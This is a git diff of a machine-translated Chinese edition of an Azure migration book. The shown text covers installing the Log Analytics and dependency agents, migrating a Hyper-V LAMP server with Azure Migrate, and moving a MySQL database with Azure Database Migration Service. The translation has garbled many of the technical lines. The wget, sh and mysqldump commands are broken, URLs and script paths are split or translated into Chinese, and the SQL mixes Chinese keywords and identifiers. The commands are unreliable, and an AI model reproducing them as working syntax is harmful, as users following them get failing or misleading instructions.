下一步是下载并安装依赖关系可视化代理。为此,我们需要导航到发现的服务器,并检查依赖项(基于代理)列。有时,此列将被隐藏,您可以使用“列”选项启用它。 -7. We will select Requires agent installation against our discovered VM, as shown in *Figure 3.27*, to install the agents. For ease of demonstration, let's install the agents on the LAMP server: - - ![Selecting agent installation](img/B17160_03_27.jpg) - - 图 3.27:选择代理安装 - -8. The portal will give you the steps to install the agents on both Windows and Linux servers. We are interested in the Linux servers, and so will follow that process. Also, we need to make a note of Workspace ID and Workspace key, shown in *Figure 3.28*. This is required in order to configure the agent: - - ![Workspace information](img/B17160_03_28.jpg) - - 图 3.28:工作空间信息 - -9. 您可以使用 **wget** 命令在 Linux 中下载它,或者使用 **SFTP/SCP** 将其下载到您的计算机并传输到 Linux 机器。让我们使用 **wget** 下载它,并在 Linux 服务器上配置代理。 -10. You can copy the link for the agents from the portal and pass that to **wget** to download the file, as shown in *Figure 3.29*: - - ![Downloading agents](img/B17160_03_29.jpg) - - 图 3.29:下载代理 - -11. The MMA agent can be installed using the following command: - - sudo wget https://raw . githubusercontent . com/Microsoft/OMS-Linux 代理/主/安装程序/脚本/板载 _ 代理. sh && sh 板载 _ 代理. sh -w -s - - **工作区 id****工作区键**可从 Azure 门户获取,如图*图 3.28* 。在写这本书的时候,MMA 代理的最新版本是 **1.13.33-0** ,我们安装这个如图*图 3.30* : - - ![Installing the MMA agent](img/B17160_03_30.jpg) - - 图 3.30:安装 MMA 代理 - -12. Now, we must download and install the dependency agent using the following commands: - - wget-content-disposition https://aka.ms/dependencyagentlinux-O InstallDependencyAgent-linux64 . bin - - sh install dependency-Linux64.bin-安装相依性-Linux 64 . bin - -13. 一旦安装了依赖项代理,我们将能够从 Azure Migrate:服务器评估中看到依赖项。单击发现的服务器。在“依赖项”列中,单击“查看依赖项”以查看服务器的依赖项。预计加载依赖项需要一些时间。 - -您还可以对日志分析工作区运行 Kusto 查询,以检查连接并验证数据。 - -这样,我们成功评估了 Hyper-V 主机中部署的工作负载,并建立了依赖性分析。我们已经使用 Hyper-V 进行了演示。但是,在您的环境中,您可能正在使用 VMWare,因此*表 3.2* 显示了可用于评估其他环境的链接列表,以及 Hyper-V 的文档: - - -| **平台** | **发现** | **评估** | -| --- | --- | --- | -| **超 V** | [https://docs . Microsoft . com/azure/migrate/tutorial-discover-hyper-v](https://docs.microsoft.com/azure/migrate/tutorial-discover-hyper-v) | [https://docs . Microsoft . com/azure/migrate/tutorial-assesse-hyper-v](https://docs.microsoft.com/azure/migrate/tutorial-assess-hyper-v) | -| **VMWare** | [https://docs . Microsoft . com/azure/migrate/tutorial-discover-VMware](https://docs.microsoft.com/azure/migrate/tutorial-discover-vmware) | [https://docs . Microsoft . com/azure/migrate/tutorial-assessment-VMware-azure-VM](https://docs.microsoft.com/azure/migrate/tutorial-assess-vmware-azure-vm) | -| **物理服务器** | [https://docs . Microsoft . com/azure/migrate/tutorial-discover-physical](https://docs.microsoft.com/azure/migrate/tutorial-discover-physical) | [https://docs . Microsoft . com/azure/migrate/tutorial-assessment-physical](https://docs.microsoft.com/azure/migrate/tutorial-assess-physical) | -| **AWS** | [https://docs . Microsoft . com/azure/migrate/tutorial-discover-AWS](https://docs.microsoft.com/azure/migrate/tutorial-discover-aws) | [https://docs . Microsoft . com/azure/migrate/tutorial-assessment-AWS](https://docs.microsoft.com/azure/migrate/tutorial-assess-aws) | -| **GCP** | [https://docs . Microsoft . com/azure/migrate/tutorial-discover-GCP](https://docs.microsoft.com/azure/migrate/tutorial-discover-gcp) | [https://docs . Microsoft . com/azure/migrate/tutorial-assessment-GCP](https://docs.microsoft.com/azure/migrate/tutorial-assess-gcp) | -| **输入 CSV** | 不适用的 | [https://docs . Microsoft . com/azure/migrate/tutorial-discover-import](https://docs.microsoft.com/azure/migrate/tutorial-discover-import) | - -表 3.2:其他平台的评估文档 - -这个实践实验的基本原理是让您了解步骤并熟悉过程。在我们结束本章之前,让我们快速浏览一下到目前为止讨论过的主题的摘要。 - -## 总结 - -正如我们在本章中学到的,评估当前的体系结构和工作负载是迁移项目非常重要的一部分。为此,我们使用 Azure Migrate 创建了一份可靠的评估报告。我们还讨论了在 Azure 上计算成本节约的工具,并通过实验进行了迁移评估。 - -在本章中,我们还讨论了 Linux 上一些流行的工作负载,包括 LAMP 堆栈和数据库服务器。我们还介绍了高性能计算、集群、共享存储和 SAP 应用方面一些技术难度较大的场景。 - -在*项目前期准备*部分,也讲述了让合适的项目团队成员参与的重要性,因为这可以确保您拥有迁移项目所需的所有技能,包括网络和 Linux 管理。 - -下一章将重点介绍实际迁移,您将有机会在实践实验室中使用到目前为止所学的一切。* \ No newline at end of file diff --git a/docs/migrate-linux-ms-azure/4.md b/docs/migrate-linux-ms-azure/4.md deleted file mode 100644 index bd212b49..00000000 --- a/docs/migrate-linux-ms-azure/4.md +++ /dev/null @@ -1,467 +0,0 @@ -# 三、执行向 Azure 的迁移 - -本章概述了如何基于上一章中完成的工作负载评估来执行真正的迁移项目。我们创建了两个实践实验室,向您展示如何实施实际迁移。 - -第一个动手实验为您提供了如何使用 Azure Migrate 将 Linux 服务器从 Hyper-V 主机迁移到 Azure 的实际示例。第二个实验将指导您使用 Azure **数据库迁移服务** ( **DMS** )将 MySQL 服务器迁移到 Azure。 - -在现实生活中执行迁移并不总是像听起来那么容易。幸运的是,我们看到的大多数问题实际上与技术无关,而更多的是关于规划和项目管理。如果你把这本书的经验运用到你的项目中,你将能够避免同样的陷阱。 - -例如,我们知道的一个特定的迁移项目最初计划花费几个月的时间,它有大约 500 台虚拟服务器要迁移到 Azure。这个项目比最初计划的要复杂一点。项目启动后,一些问题就开始了。负责迁移的团队严重低估了项目所需的资源和技能。最终,项目范围缩小了,外部云专家被邀请就项目中一些最困难的部分提供建议。毫不奇怪,其中一些部分与 Linux 补丁管理、订阅管理和安全性有关。你还记得我们在这本书的前面讨论过这些话题吗?现在你知道为什么了。 - -项目时间表得到了相当多的延长,项目时间比原计划长得多。在项目期间,客户还决定不迁移一些较旧的应用,而是决定开始开发这些应用的新云原生版本。从迁移项目的角度来看,这给项目调度带来了一些重大挑战。在前一章中,我们谈到了评估和高质量项目规划的重要性,这是有充分理由的。 - -为什么项目不成功?项目团队没有使用任何迁移评估工具,他们也缺少一个合适的迁移执行工具。此外,他们几乎没有管理此类项目的经验,而且他们也缺乏云迁移和一些要迁移的工作负载方面的专业知识。 - -即使成功迁移到 Azure 后,由于错误的配置或人为错误,也可能会出现意外问题。如果出现虚拟机启动问题、远程 SSH 访问不起作用等问题,您可以联系微软 Azure 支持。在*第 6 章*、*故障排除和问题解决*中,我们将更多地讨论可能出现的问题和故障排除场景,以及如何解决这些问题。 - -在本书中,我们已经多次提到了这一点,但既然这是如此重要的建议,让我们再说一遍:成功的迁移项目的一个关键要素是确保您的客户——无论是内部客户还是外部客户——致力于该项目。我们要重复的第二条建议是使用正确的工具来帮助您进行迁移。在前一章中,我们介绍了运行成功评估的 Azure Migrate,因此我们可以非常确定项目团队对要迁移的工作负载有正确的了解。 - -在本章中,我们将涵盖以下主题: - -* 实践迁移实验室 - * 将服务器迁移到 Azure - * 迁移数据库 - -到本章结束时,您将学会如何以正确的方式使用正确的工具。 - -## 动手迁移实验室 - -在*第 3 章*、*评估和迁移规划*的*实践评估实验室*部分,我们看到了如何进行工作负载评估和依赖性分析。这些是迁移框架中至关重要的步骤,我们目前处于*迁移*阶段。这个实验室有两个部分。第一部分涉及服务器的迁移,我们将把我们的一个 LAMP 服务器迁移到云中,并验证站点是否按预期工作。在第二个场景中,我们将 Linux 上的 MySQL 数据库迁移到 Azure MySQL 托管数据库。在第一种情况下,我们从 IaaS 迁移到 IaaS,而在第二种情况下,我们从 IaaS 迁移到 PaaS 解决方案。让我们开始迁移服务器。 - -### 将服务器迁移到 Azure - -如前所述,Azure Migrate 服务是*评估*阶段和*迁移*阶段的工具。在*评估*阶段,我们依赖服务器评估工具,在*迁移*阶段,我们关注服务器迁移工具。如果您正在跟进,您可以使用来自*第 3 章*、*评估和迁移规划*的评估实践实验室的相同迁移项目。否则,您可以创建一个新的。 - -在此阶段,您的**虚拟机** ( **虚拟机**)将被复制到云中,稍后该复制的磁盘将用于启动虚拟机。这与我们在 Azure 站点恢复中设置跨区域故障转移的方式非常相似。Azure Migrate 在后端使用站点恢复来完成迁移过程,在此过程中,您的服务器会不断复制到站点恢复存储库中。 - -*图 4.1* 显示了我们将要迁移到 Azure 的服务器: - -![VMs in Hyper-V](img/B17160_04_01.jpg) - -图 4.1:Hyper-V 中的虚拟机 - -LAMP 服务器将用于演示使用 Azure Migrate 进行服务器迁移,而 MySQL 虚拟机将使用 DMS 进行迁移。您可以从 GitHub 部署一个 LAMP 应用——有很多转帖都有一个简单的 LAMP 服务器的文件。演示中使用的是从[https://github.com/Anirban2404/phpMySQLapp](https://github.com/Anirban2404/phpMySQLapp)克隆而来的。GitHub 报告中介绍了 LAMP 安装。 - -我们将把这个过程分解成不同的阶段,从提供者的安装开始,一直到转换。 - -### 安装提供程序 - -在评估的情况下,我们在我们的内部 Hyper-V 服务器上部署了一个 Azure Migrate 应用装置,用于将发现的数据发送到云中。同样,在*迁移*阶段,我们将在 Hyper-V 服务器上安装一些软件提供商,即站点恢复提供商和微软 Azure 恢复服务代理。我们在评估阶段部署的迁移设备在服务器迁移中没有任何作用,该服务器的目的是发现内部虚拟机并创建清单。以下步骤可用于安装提供程序: - -1. Navigate to the Azure Migrate project | Servers, and under Azure Migrate: Server Migration click on Discover, as shown in *Figure 4.2*: - - ![Navigating to Migration tools and clicking on Discover](img/B17160_04_02.jpg) - - 图 4.2:导航到迁移工具 - - 在*图 4.2* 中,您可以看到服务器评估工具、上一个实验的结果以及我们将在本实验中使用的迁移工具。 - -2. Once we click on Discover, we'll be asked to confirm the platform where our servers are deployed. We will select Yes, with Hyper-V as shown in *Figure 4.3*. Along with that, we'll set Target region. This is the region where your server will be deployed post-migration. One thing to keep in mind here is that once Target region is confirmed, it cannot be changed for the project. Azure will show a banner with the same content and you have to agree to this condition by checking the checkbox. After that, we can click on Create resources and the Site Recovery vault gets created behind the scenes: - - ![Confirming target region and creating resources by clicking on the Create resources button](img/B17160_04_03.jpg) - - 图 4.3:确认目标区域并创建资源 - -3. Azure provides very intuitive steps to complete the replication, starting with the installation of the replication provider software on our Hyper-V server. Steps will be prompted to you as shown in *Figure 4.4*: - - ![Reviewing the migration steps in the Discover machines window](img/B17160_04_04.jpg) - - 图 4.4:回顾迁移步骤 - -4. We'll follow the steps in *Figure 4.4*. Let's download the Site Recovery provider software and install it on our Hyper-V server, and also download the registration key. You can copy the installation file and registration key to the Hyper-V server over **remote desktop protocol** (**RDP**), or you can use a file share. The installation is a two-step process and will take some time to install. Once the installation is done, you will get a window similar to the following one and you can proceed using the Register button, not the Finish button: - - ![Installing the Site Recovery provider and clicking on the Register button](img/B17160_04_05.jpg) - - 图 4.5:安装站点恢复提供程序 - -5. It's time to use the registration key that we copied earlier. Click on the Register button shown in *Figure 4.5*. On the next screen, you will be asked to choose the registration key and the rest of the details are auto-filled, as shown in *Figure 4.6*. Proceed by clicking on the Next button: - - ![Selecting a registration key and proceeding by clicking on the Next button](img/B17160_04_06.jpg) - - 图 4.6:选择注册码 - -6. 您不必配置为使用代理进行连接—让服务器直接连接到站点恢复,而无需代理服务器。点击下一步并继续注册过程。 -7. The last stage is Registration, which will take some time. Once the registration is done, the window will prompt as shown in *Figure 4.7*: - - ![Completing registration](img/B17160_04_07.jpg) - - 图 4.7:完成注册 - -8. Now we need to go back to the Azure portal and reopen the project to finalize the registration. If the connection was successful, you will see the registered Hyper-V host under 2\. Finalize registration. Click on the Finalize registration button as shown in *Figure 4.8*. If you are not able to see the host as registered, follow the troubleshooting guide provided by Azure on the same page: - - ![Finalizing registration by clicking on the Finalize registration button](img/B17160_04_08.jpg) - - 图 4.8:完成注册 - -9. You will get a message on the screen to say that the registration may take around 15 minutes to complete. We need to wait for this process to complete before we replicate our machines to Azure. Once the process is complete, you will get a Registration finalized message, as shown in *Figure 4.9*: - - ![Registration completed](img/B17160_04_09.jpg) - -图 4.9:完成注册 - -让我们看看如何发现可迁移的服务器。 - -### 发现服务器 - -我们的 Hyper-V 服务器配置了提供商,我们需要确保我们的 Azure Migrate 项目发现了虚拟机。让我们返回到 Azure Migrate 登录页面并刷新工具集。如图*图 4.10* 所示,可以看到迁移工具发现了两个虚拟机: - -![The migration tool discovered two VMs](img/B17160_04_10.jpg) - -图 4.10:发现的服务器 - -我们可以看到我们的虚拟机是由 Azure Migrate 项目发现的,我们准备复制这些发现的服务器。 - -### 复制服务器 - -如图 4.10 所示,下一步是将我们的服务器复制到 Azure。为此,您需要单击发现旁边的复制选项。另外,在我们复制之前,您需要创建某些资源,否则您可能需要重新启动复制过程。因此,最好在开始复制之前创建您的资源组、虚拟网络和复制存储帐户: - -1. 复制是一个五步过程,我们将从源设置开始。在这里,您将选择虚拟化平台或您的源作为 Hyper-V -2. In the second step, you have to select the VMs that you are migrating to the cloud. You could use the results of an assessment and migrate, or you can specify the migration settings manually. For demonstration purposes and to explain the steps, let's go with the manual option. Select the VMs and hit Next as shown in *Figure 4.11*: - - ![Selecting virtual machines and clicking on the Next button](img/B17160_04_11.jpg) - - 图 4.11:选择虚拟机 - -3. It's time to configure Target settings as in the configuration on the Azure side. You have to set Subscription, Resource group, Replication Storage Account (this is where the data will be replicated), Virtual Network, Subnet, and Availability options. The target location cannot be changed. As mentioned earlier, if you don't have these resources created, feel free to create these resources in your selected target region and start from *Step 2* again. Here is how the configuration will look if you already have the target resources in place: - - ![Selecting target resources in the Target settings tab](img/B17160_04_12.jpg) - - 图 4.12:选择目标资源 - -4. Hitting Next in the Target settings tab will take you to the Compute tab, where you can set Azure VM Size, OS Type, and the OS Disk name you are going to migrate. You could set Azure VM Size as Automatically select matching configuration, as shown in *Figure 4.13*, and Azure will select a size matching your on-premises configuration: - - ![Selecting compute size based on our on-premises configuration](img/B17160_04_13.jpg) - - 图 4.13:选择计算大小 - -5. After selecting the Compute configuration, you can click on Next and the wizard will take you to the Disks tab. Here you will get a chance to select the disks that you want to replicate from on-premises. You can also replicate the data disks if required; however, in our case, we only have the OS disks. The configuration will look like *Figure 4.14*: - - ![Selecting disks to replicate in the Replicate window](img/B17160_04_14.jpg) - - 图 4.14:选择要复制的磁盘 - -6. 选择磁盘后,您可以单击“下一步”,进入最后一步。在这一步中,我们将检查目标配置,并单击复制将服务器复制到 Azure。 -7. We can confirm from the landing page whether the replication has started or not. As shown in *Figure 4.15*, the Replicating servers section should show two as we selected two servers for replication: - - ![Verifying replication in the Migration tools pane](img/B17160_04_15.jpg) - - 图 4.15:验证复制 - -8. We could also click on 2, which has a hyperlink to show the status of the replication. This is a lengthy process, and you can track it as shown in *Figure 4.16*: - - ![Verifying replication process](img/B17160_04_16.jpg) - - 图 4.16:验证复制过程 - -9. Once the replication is done, you will be able to see the status of both the servers change to Protected as demonstrated in *Figure 4.17*: - - ![Replication completed as the status changed to Protected](img/B17160_04_17.jpg) - -图 4.17:复制完成 - -我们的服务器已成功复制到 Azure。在迁移到生产环境之前,我们可以执行测试故障转移。在我们进行生产切换之前,测试故障转移有助于了解应用是否正常工作。让我们执行测试故障转移并完成迁移过程。 - -### 迁移到 Azure - -由于服务器是复制的,我们可以随时执行测试故障转移。执行测试故障转移不会中断任何服务—此阶段是为了确认应用是否按预期运行。如果没有,我们可以采取措施对此进行补救,并重新尝试迁移,而不会造成任何生产停机。 - -让我们看看应用在我们的内部 LAMP 应用中的外观,这是一个从[https://github.com/Anirban2404/phpMySQLapp](https://github.com/Anirban2404/phpMySQLapp)创建的演示 LAMP 应用: - -![An index page of an on-premises application](img/B17160_04_18.jpg) - -图 4.18:内部应用索引页面 - -正如本节开头提到的,我们可以执行测试故障转移,看看我们的应用是否运行良好。为了执行测试故障转移,请执行以下步骤: - -1. Navigate to Azure Migrate | Servers and choose Replicate from Migration tools as shown in *Figure 4.19*: - - ![Viewing the replicated servers in the Migration tools pane](img/B17160_04_19.jpg) - - 图 4.19:查看复制的服务器 - -2. From the next screen, select the VM that you want to test failover for and click on the three dots on the far-right side. You'll see a Test migration option as shown in *Figure 4.20*: - - ![Selecting the Test migration option](img/B17160_04_20.jpg) - - 图 4.20 选择测试迁移 - -3. Select the virtual network where you want to deploy the resources and select Test migration as shown in *Figure 4.21*: - - ![Starting test migration by clicking on Test migration](img/B17160_04_21.jpg) - - 图 4.21:开始测试迁移 - -4. 一段时间后,您将看到资源已经创建。这里需要注意的一点是,在测试迁移期间创建的资源不会附加公共 IP 或 NSG。为了让我们使用互联网检查它们,我们需要一个公共的 IP 和 NSG,并添加 SSH 和 HTTP 规则。如果您不确定如何进行此更改,请参考[https://docs . Microsoft . com/azure/virtual-network/manage-network-security-group](https://docs.microsoft.com/azure/virtual-network/manage-network-security-group)和[https://docs . Microsoft . com/azure/virtual-network/associate-public-IP-address-VM](https://docs.microsoft.com/azure/virtual-network/associate-public-ip-address-vm)。 -5. Once the test migration status shows as completed, you can navigate to the target resource group that you selected in the Azure Migrate project during the initial configuration. The resources will be deployed, with the test keyword added as a suffix to the resource name, as visible in *Figure 4.22*: - - ![Exploring test migration resources](img/B17160_04_22.jpg) - - 图 4.22:探索测试迁移资源 - -6. You can attach an NSG and public IP address as mentioned in the aforementioned documentation, and then you can test the migration by opening the displayed IP address in your browser as shown in *Figure 4.23*: - - ![Verifying application from the browser](img/B17160_04_23.jpg) - - 图 4.23:从浏览器验证应用 - -7. 一旦测试迁移完成,在我们执行实际迁移之前,您需要清理测试迁移。这可以使用清理测试迁移选项来完成,如*图 4.20* 所示。系统将要求您添加笔记并确认删除测试资源。 -8. After cleaning up the test resources, we can perform the actual migration of resources. To start the migration, navigate to Azure Migrate | Servers and choose Migrate from Migration tools as shown in *Figure 4.24*: - - ![Choosing Migrate from the Migration tools](img/B17160_04_24.jpg) - - 图 4.24:迁移服务器 - -9. You will be asked whether you want to shut down the machines to minimize data loss. Select Yes to shut down the machines and perform a planned migration with zero data loss. If you choose not to shut down the VMs, a final sync will be performed before the migration, but any changes that happen on the machine after the final sync is started will not be replicated. Let's go with No and select the machines we want to migrate, as shown in *Figure 4.25*: - - ![Finalizing migration by clicking on the Migrate button](img/B17160_04_25.jpg) - - 图 4.25:完成迁移 - -10. 正如我们在测试迁移的案例中看到的,这个过程需要一些时间,并且资源将在目标资源组中创建。服务器将没有公共知识产权或 NSG 附加到他们。您需要遵循我们在测试迁移中遵循的文档中概述的流程来附加 NSG 和公共 IP。如果您没有删除 NSG 和公共 IP,则可以从测试迁移中重用它们。 -11. Voilà, we have our resources in our target resource group: - - ![Reviewing migrated resources](img/B17160_04_26.jpg) - - 图 4.26:审查迁移的资源 - -12. If we navigate back to Azure Migrate | Servers and refresh the project, we will get the summary of the migration we have done as shown in *Figure 4.27*: - - ![Summary of the project](img/B17160_04_27.jpg) - -图 4.27:项目总结 - -由此,我们看到了使用 Azure Migrate 将服务器从内部 Hyper-V 主机迁移到 Azure 的端到端过程。正如在本节的介绍中提到的,我们将在下一个实践实验中了解如何将数据库迁移到 PaaS 解决方案。 - -### 迁移数据库 - -在*将服务器迁移到 Azure* 部分,我们看到了如何在 Azure Migrate 的帮助下将服务器迁移到 Azure。我们可以像在 LAMP 服务器的情况下一样,直接将数据库从 IaaS 迁移到 IaaS。但是,在本节中,我们将把数据库迁移到 PaaS 解决方案。您可以使用任何可以公开访问的内部 MySQL 服务器。如果没有,出于演示目的,您可以在 Azure 中创建一个虚拟机并安装 MySQL。为了处理实际数据,您需要在 MySQL 服务器中运行以下 SQL 脚本: - -创建数据库电影; - -使用电影; - -CREATE TABLE 恐怖 _ TBL(movie _ id int NOT NULL PRIMARY KEY auto _ increment,movie_title varchar(100) NOT NULL,movie _ year int NOT NULL); - -INSERT INTO 恐怖 _tbl(movie_title,movie_year) VALUES(《驱魔人》,1973 年)、(《世袭》,2018 年)、(《变戏法》,2013 年)、(《闪灵人》,1980 年)、(《德州电锯杀人狂》,1980 年)、(《魔戒》,2002 年)、(《万圣节》,1978 年)、(《阴险》,2012 年)、(《阴险》,2010 年)、(《IT》,2017 年); - -尽管 IaaS 在控制和管理方面提供了很大的灵活性,但 PaaS 有助于开发人员或管理员轻松部署并提高工作效率,因为大多数管理任务都是由微软执行的。由于底层硬件、操作系统补丁和更新以及维护任务都由 Azure 负责,因此 PaaS 节省了大量时间。 - -为了将数据库迁移到 PaaS,我们将使用名为 Azure DMS 的服务。DMS 使客户能够执行从大量数据库源到 Azure 数据平台的在线和离线迁移,同时将服务中断或停机时间降至最低。 - -DMS 提供了两种不同的数据库迁移方法:离线迁移或在线迁移。离线迁移需要在迁移开始时关闭服务器,因此这种方法会导致停机。另一方面,在线迁移遵循实时数据的连续复制,也允许在最短的停机时间内随时切换到 Azure。 - -Azure DMS 提供两个定价层: - -* **标准**:仅支持离线迁移。这一层不收费。 -* **特优**:支持离线和在线迁移。前六个月不收费,之后,这一级将产生费用。 - -现在我们已经对 DMS 有了一些了解,让我们继续创建一个实例。 - -### 创建数据库迁移服务实例 - -该过程包括多个步骤: - -1. Find Azure Database Migration Services in the All Services pane, or simply search for it. You can kick off the creation process by clicking New or Create azure database migration service as shown in *Figure 4.28*: - - ![Creating Azure Database Migration Service instance](img/B17160_04_28.jpg) - - 图 4.28:创建数据库迁移服务实例 - -2. The creation process is very straightforward—you need to input values for Subscription, Resource group, Migration service name, and Location. Additionally, there is an option to choose Pricing tier and Service mode. As mentioned previously, there are two pricing tiers for this service: Standard (supports only offline migration) and Premium (supports both offline and online migration). Also, there are two service modes: Azure, where we'll be choosing one of the aforementioned pricing tiers, and Hybrid, where the worker is hosted on-premises. At the time of writing this book, Hybrid mode is in preview. The creation process is shown in *Figure 4.29*: - - ![Adding various details in the Basics pane of the Create Migration Service window](img/B17160_04_29.jpg) - - 图 4.29:配置基础 - -3. The next configuration we need is the Networking configuration, where will be creating a virtual network. You could choose an existing virtual network or create a new one. This virtual network will be used by the service to communicate with the source databases over the internet. The configuration is as shown in *Figure 4.30*: - - ![Providing networking configuration for creating a new virtual network](img/B17160_04_30.jpg) - - 图 4.30:创建新的虚拟网络 - -4. 单击“审阅+创建”将启动验证过程,并创建服务。 - -现在我们已经创建了一个 DMS 实例,下一步是配置迁移项目。在此之前,我们需要在 Azure 中创建目标数据库。由于我们正在迁移 MySQL,我们需要为 MySQL 服务器创建一个 Azure 数据库。 - -### 创建和配置目标资源 - -如前所述,我们要创建的服务是一个 MySQL 服务器的 Azure 数据库。这是一个由微软 Azure 管理的产品,利用了 MySQL 社区版 5.6、5.7 和 8.0 版本。让我们创建目标资源来迁移数据: - -1. 在搜索栏中搜索 MySQL,您将能够在 Azure 门户中看到 MySQL 的 Azure 数据库。单击新建按钮开始创建新数据库。 -2. 我们将采用单服务器模式,因为它是生产就绪型、成本优化型,并且具有内置的高可用性。您可以选择灵活服务器,它提供高级定制,在撰写本书时处于预览状态。 -3. The wizard will take you through the creation process. You need to fill in the details and configure the compute, storage, and pricing tier for the server as per your requirements. Since we're dealing with a very small database, a Basic server with 1 vCPU and 8 GB of storage will suffice. In real-world scenarios, you should match the compute and storage of the Azure server with the on-premises configuration to avoid performance issues. The configuration is as shown in *Figure 4.31*: - - ![Creating Azure Database for MySQL](img/B17160_04_31.jpg) - - 图 4.31:为 MySQL 服务器创建一个 Azure 数据库 - -4. 这样,我们可以选择“查看+创建”选项,然后选择“创建”选项,这样就可以调配数据库了。 -5. 配置数据库后,我们需要创建一个目标表,本地数据库表中的数据应该迁移到该目标表中。我们将创建一个空表,并在创建迁移项目时将其映射到我们的内部数据库。 -6. 服务器管理员登录名可以从我们在*步骤 3* 中创建的数据库的概述窗格中获得。 -7. You can use any Linux or Windows computer with MySQL tools installed or Azure Cloud Shell to work with the server we deployed in Azure. Here, let's connect from the Bash shell as shown in *Figure 4.32*: - - ![Connecting to Azure MySQL using Bash shell](img/B17160_04_32.jpg) - - 图 4.32:使用 Bash 连接到 Azure MySQL - - 这里连接将失败,因为我们连接的机器的 IP 地址不在允许的 IP 地址列表中,防火墙将阻止我们连接。 - -8. To add your IP address to the allowed list of IP addresses, you can navigate to the server we created and click on Connection security. If you are using Azure Cloud Shell, you have to enable Allow access to Azure services. Since we are using a local machine, we will add our IP address as shown in *Figure 4.33* and save the configuration: - - ![Configuring the firewall in the Connection security window](img/B17160_04_33.jpg) - - 图 4.33:配置防火墙 - -9. Now that we've added our IP address to the firewall, let's try to reconnect from Bash and see if the connection succeeds. You can see in *Figure 4.34* that the login was successful: - - ![Logging into MySQL](img/B17160_04_34.jpg) - - 图 4.34:登录到 MySQL - -10. Our on-premises server consists of a database and has a table named **horror_tbl**. Basically, this table stores the names of horror movies and the years they were released. We need to create a similar table in the MySQL server as we created in Azure so that the data can be migrated. Let's create a new database and table using the following commands: - - 创建数据库电影; - - 使用电影; - - 创建表格恐怖 - - 电影标识不为空自动增量, - - 电影标题 varchar(150)不为空, - - 电影 _ 年份整数不为空, - - PRIMARY KEY(movie _ id)); - -11. Here is how the databases look in on-premises infrastructure and in Azure: - - ![Comparing a dataset in on-premises and Azure](img/B17160_04_35.jpg) - -图 4.35:比较内部和 Azure 中的数据集 - -从上图可以明显看出,内部数据库包含数据,而 Azure 数据库是空的。现在我们需要从源数据库中提取模式,并将其应用到目标数据库。 - -### 迁移示例模式 - -为了提取模式,可以使用带有 **-无数据**参数的 **mysqldump** 命令。语法如下: - -MySQL dump-h { servername }-u { username }-p-databases { database name } \ - --no data >/路径/到/文件 - -在我们的场景中,我们需要提取 **MOVIES** 数据库的模式。因为我们是从 MySQL 服务器本身执行命令,所以我们不需要使用 **-h** 参数。但是,如果您在远程服务器上执行此操作,请考虑使用 **-h** 参数。在我们的场景中,以下命令就足够了: - -MySQL dump-u root-p-databases MOVIES-no-data > schema . SQL - -如果您有多个数据库,并且希望一次性提取所有数据库的模式,也可以使用 **-所有数据库**参数。如果您查看模式文件,它将类似于以下 SQL 脚本: - -![Checking the schema file](img/B17160_04_36.jpg) - -图 4.36:检查模式文件 - -现在,我们需要使用以下语法将这些数据导入 MySQL 的 Azure 数据库。如果网络允许连接,这可以直接从托管内部数据库的虚拟机运行。否则,需要在可以选择连接到 Azure 数据库或直接连接到 Cloud Shell 的计算机上导入模式: - -MySQL-h { servername }-u { username }-p {数据库名称} < /path/to/schema - -在我们的场景中,您需要用 MySQL 凭据的 Azure 数据库替换服务器名和登录名: - -MySQL-h mysql-rithin.mysql.database.azure.com-u rithin @ MySQL-rithin \ - --p movies < schema.sql - -导入过程结束后,我们需要切换回 DMS 并创建一个迁移项目。 - -### 创建迁移项目和迁移数据库 - -要创建数据库迁移项目,我们需要返回 DMS。可以使用以下步骤创建项目: - -1. Navigate to Azure Database Migration Service and select New Migration Project as shown in *Figure 4.37*: - - ![Creating a migration project by clicking on New Migration Project](img/B17160_04_37.jpg) - - 图 4.37:创建迁移项目 - -2. The creation is a very simple process. We need to input a name for the project, set Source server type (in our case MySQL), and set Target server type, which is Azure Database for MySQL. Finally, set the type of activity as Online data migration, as we are planning to migrate without any downtime. The offline option is not currently available for MySQL. The configuration is as shown in *Figure 4.38*: - - ![Configuring the project by adding various details and clicking on Create and run activity](img/B17160_04_38.jpg) - - 图 4.38:配置项目 - -3. 项目配置完成后,单击创建并运行活动。这将把你带到 MySQL 到 Azure 数据库的 MySQL 在线迁移向导。 -4. The first step in the wizard is to configure the source. Here we need to set Source server name, Server port, User Name, and Password for our publicly available on-premises server as shown in *Figure 4.39*: - - ![Connecting to the source database by adding various details in the Select source pane](img/B17160_04_39.jpg) - - 图 4.39:连接到源数据库 - - #### 注意 - - 如果 MySQL 服务器配置不正确,您可能会遇到错误。要成功连接,可能需要配置绑定地址、绑定登录 **mysqld.cnf** ,以及创建具有管理员权限的新用户。参考[https://docs . Microsoft . com/azure/DMS/tutorial-MySQL-azure-MySQL-online #先决条件](https://docs.microsoft.com/azure/dms/tutorial-mysql-azure-mysql-online#prerequisites)。 - -5. Now we need to configure the target, which includes setting Target server name, User Name, and Password. Target server name and User Name can be found from the Overview pane of our MySQL server in Azure. The password is the one you entered during the service creation—if forgotten, you can use the Reset Password option. The target server details should be configured as follows: - - ![Configuring the target by adding various details in the Select target pane](img/B17160_04_40.jpg) - - 图 4.40:配置目标服务器 - - #### 注意 - - 您可能会收到一条错误消息,指出不允许该 IP 地址连接到 MySQL 服务器。从错误消息中,您可以获取 DMS 的公共 IP,并将该 IP 添加到 MySQL 的“连接安全性”窗格中,以便成功连接,或者启用“允许访问 Azure 服务”。但是,这将使订阅中的所有 Azure 服务都可以访问数据库。 - -6. The next step is to select the source databases that need to be migrated to the cloud. The tool will show you the databases that are available on the on-premises server. Select the source database and corresponding database as the target. In our case, we will map the **MOVIES** database, which is on-premises, to the **movies** database that we created earlier. *Figure 4.41* shows how the mapping is done from source to target: - - ![Mapping databases in the Select databases pane](img/B17160_04_41.jpg) - - 图 4.41:映射数据库 - -7. We're approaching the last step, where we can configure the migration settings. At this stage, you can specify which tables need to be migrated and settings for **large objects** (**LOB**) data. Since our dataset is small, we don't need to configure LOB settings. From *Figure 4.42*, we can see that the **horror_tbl** table has been selected: - - ![Configuring database migration settings](img/B17160_04_42.jpg) - - 图 4.42:配置数据库迁移设置 - -8. 接下来,我们进入“摘要”选项卡,在这里我们需要为此活动添加一个名称,并查看到目前为止所做的配置。单击开始迁移将启动从内部服务器到 Azure 服务器的迁移。 -9. Soon we will be redirected to a page with the migration status and details of the source and destination servers, as shown in *Figure 4.43*: - - ![Checking the migration status and details of the source and destination servers](img/B17160_04_43.jpg) - - 图 4.43:检查迁移状态 - -10. Since our dataset was 10 rows, it took less than 5 seconds to complete the migration and notify 